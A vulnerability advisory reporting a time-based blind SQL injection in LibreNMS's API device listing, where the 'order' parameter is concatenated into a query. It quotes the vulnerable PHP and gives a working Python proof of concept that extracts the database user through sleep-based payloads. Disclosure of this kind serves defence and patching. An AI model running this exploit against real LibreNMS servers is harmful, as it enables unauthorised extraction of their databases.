LibreNMS vulnerable to a Time-Based Blind SQL injection leads to database extraction

Summary

Get a valid API token, make sure you can access api functions, then replace string on my PoC code, Test on offical OVA image, it’s a old version 23.9.1, but this vulerable is also exists on latest version 24.2.0

Details

in file api_functions.php, line 307 for function list_devices

$order = $request->get('order');
    $type = $request->get('type');
    $query = $request->get('query');
    $param = [];

    if (empty($order)) {
        $order = 'hostname';
    }

    if (stristr($order, ' desc') === false && stristr($order, ' asc') === false) {
        $order = 'd.`' . $order . '` ASC';
    }
    /* ... */
    $devices = [];
    $dev_query = "SELECT $select FROM `devices` AS d $join WHERE $sql GROUP BY d.`hostname` ORDER BY $order";
    foreach (dbFetchRows($dev_query, $param) as $device) {

The “order” parameter is obtained from $request. After performing a string check, the value is directly incorporated into an SQL statement and concatenated, resulting in a SQL injection vulnerability.

PoC

For example. this PoC is get current db user

import string
import requests

headers = {
	'X-Auth-Token': 'token_string'
}
req = requests.Session()
payloads = '_-@.,' + string.digits + string.ascii_letters
url = 'http://host/api/v0/devices?order=device_id` and if(ascii(substr(user(),%d,1))=%d,sleep(5),1) and d.`device_id'
result = 'user: '
for i in range(10):
	for payload in payloads:
		try:
			req.get(url % (i+1, ord(payload)), headers=headers, timeout=3)
		except requests.exceptions.ReadTimeout as ex:
			result += payload
			print(result),
		except Exception as e:
			pass

Impact

Attacker can extract whole database